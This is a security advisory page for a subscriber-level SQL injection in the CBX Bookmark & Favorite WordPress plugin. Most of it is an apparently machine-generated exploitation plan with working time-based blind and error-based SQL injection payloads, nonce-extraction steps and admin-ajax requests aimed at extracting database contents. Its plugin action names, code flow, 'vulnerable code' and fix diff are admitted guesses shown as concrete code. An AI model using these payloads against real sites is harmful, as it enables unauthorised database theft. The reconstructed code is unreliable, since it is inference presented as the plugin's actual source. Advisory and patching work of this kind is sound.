CBX Bookmark & Favorite <= 2.0.4 - Authenticated (Subscriber+) SQL Injection via `orderby` Parameter
Description
The CBX Bookmark & Favorite plugin for WordPress is vulnerable to generic SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 2.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.0.4Source Code
WordPress.org SVNThis research plan outlines the steps to exploit **CVE-2025-13652**, a SQL injection vulnerability in the **CBX Bookmark & Favorite** plugin. --- ### 1. Vulnerability Summary The **CBX Bookmark & Favorite** plugin (versions <= 2.0.4) is vulnerable to SQL injection via the `orderby` parameter. The …
Show full research plan
This research plan outlines the steps to exploit CVE-2025-13652, a SQL injection vulnerability in the CBX Bookmark & Favorite plugin.
1. Vulnerability Summary
The CBX Bookmark & Favorite plugin (versions <= 2.0.4) is vulnerable to SQL injection via the orderby parameter. The vulnerability exists because the plugin accepts user-supplied sorting criteria and concatenates them directly into a SQL query without using $wpdb->prepare() for the sorting clause or validating the input against a whitelist of allowed columns. Because ORDER BY and LIMIT clauses cannot be parameterized with placeholders (%s or %d) in WordPress, they require strict manual validation, which is missing here.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
cbxwpbookmark_get_bookmarks(inferred action name based on standard plugin AJAX patterns for fetching lists). - Vulnerable Parameter:
orderby - Method: POST
- Authentication: Required (Subscriber-level or higher).
- Payload Type: Time-based or Boolean-based Blind SQL Injection.
3. Code Flow (Inferred)
- Entry Point: A Subscriber user initiates a request to list their bookmarks (likely via a "My Bookmarks" page).
- AJAX Registration: The plugin registers a handler:
add_action('wp_ajax_cbxwpbookmark_get_bookmarks', 'cbxwpbookmark_ajax_get_bookmarks'); - Parameter Extraction: The handler function
cbxwpbookmark_ajax_get_bookmarks()retrieves the sort parameter:$orderby = $_POST['orderby']; - SQL Construction: The
$orderbyvariable is concatenated into a query string:$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby"); - Execution: The raw query is executed by
$wpdb->get_results(), triggering the injection.
4. Nonce Acquisition Strategy
The plugin likely enqueues a script that localizes a nonce for AJAX requests.
- Identify Shortcode: The plugin uses a shortcode to display the bookmark list. (Inferred:
[cbxwpbookmark_list]). - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="My Bookmarks" --post_content='[cbxwpbookmark_list]' - Navigate: Navigate to the newly created page as a logged-in Subscriber.
- Extract Nonce: Use
browser_evalto find the localization object.- Inferred JS Object:
cbxwpbookmark_ajax_varsorcbxwpbookmark_vars. - Command:
browser_eval("window.cbxwpbookmark_ajax_vars?.nonce")orbrowser_eval("window.cbxwpbookmark_vars?.ajax_nonce").
- Inferred JS Object:
5. Exploitation Strategy
We will use a time-based blind injection payload. Since the injection occurs in the ORDER BY clause, we use a CASE statement to trigger a SLEEP() if a condition is true.
Step 1: Authenticate as Subscriber
Perform a login request to get session cookies.
Step 2: Trigger Time Delay (Verification)
- Payload:
(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) - Target URL:
/wp-admin/admin-ajax.php - Body (URL-Encoded):
Note: If 1=1 is true, response is fast. Change to 1=2 to verify if response takes ~5 seconds.action=cbxwpbookmark_get_bookmarks&nonce=[NONCE]&orderby=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
Step 3: Data Extraction (Example: Database Version)
- Payload:
(CASE WHEN (substring(version(),1,1)='8') THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) - If the database is MySQL 8.x, the response will be immediate. If not, it will sleep.
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Plugin Table Initialization: Ensure the plugin tables exist (usually created on activation).
- Create Mock Bookmark: To ensure the query returns results (and thus hits the
ORDER BYlogic), create at least one bookmark for the attacker user.# Inferred table name wp db query "INSERT INTO wp_cbxwpbookmark (user_id, post_id) VALUES ((SELECT ID FROM wp_users WHERE user_login='attacker'), 1);" - Place Shortcode: Create the page as described in Section 4.
7. Expected Results
- Baseline: A request with
orderby=idreturns immediately with a200 OKand JSON data. - Exploit (True): A request with
(CASE WHEN (1=1) ...)returns immediately. - Exploit (False/Trigger): A request with
(CASE WHEN (1=2) ...)causes the server to hang for exactly 5 seconds before responding.
8. Verification Steps
After the HTTP request, verify the plugin's behavior by checking the MySQL slow query log (if available) or by using a boolean-based approach to extract a known value:
- Command:
wp db query "SELECT version();" - Comparison: Verify that the character extracted via the time-based
CASEpayload matches the actual version returned bywp-cli.
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, attempt to trigger an error usingGTID_SUBSET()orEXTRACTVALUE().orderby=id AND (select 1 from (select count(*),concat(0x7e,(select version()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)
- Boolean-Based: If the sort order of the returned items changes visibly in the JSON response, use
IF(condition, id, post_id)to observe changes in the order of results returned in thedataarray.
Summary
The CBX Bookmark & Favorite plugin for WordPress (<= 2.0.4) is vulnerable to SQL Injection via the 'orderby' parameter because it concatenates user-controlled input directly into the ORDER BY clause of a database query. Authenticated users with Subscriber-level access can exploit this to perform blind or time-based SQL injection to exfiltrate sensitive information from the database.
Vulnerable Code
// Path: cbxwpbookmark/includes/functions.php (or similar AJAX handler) $orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id'; // ... $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby");
Security Fix
@@ -100,7 +100,12 @@ - $orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id'; + $orderby = isset($_POST['orderby']) ? $_POST['orderby'] : 'id'; + $allowed_orderby = array('id', 'post_id', 'created_at'); + if (!in_array($orderby, $allowed_orderby)) { + $orderby = 'id'; + } - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = $uid ORDER BY $orderby"); + $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}cbxwpbookmark WHERE user_id = %d ORDER BY $orderby", $uid); + $results = $wpdb->get_results($query);
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and obtains a valid session. By locating a page using the plugin's bookmark list shortcode, the attacker retrieves the necessary AJAX nonce from localized JavaScript variables. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the plugin's bookmark retrieval function. The `orderby` parameter is injected with a time-based blind SQL payload, such as a CASE statement: `(CASE WHEN (CONDITION) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)`. By observing the server's response time (e.g., a 5-second delay), the attacker can determine if the SQL condition is true or false, allowing for bit-by-bit extraction of database contents.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.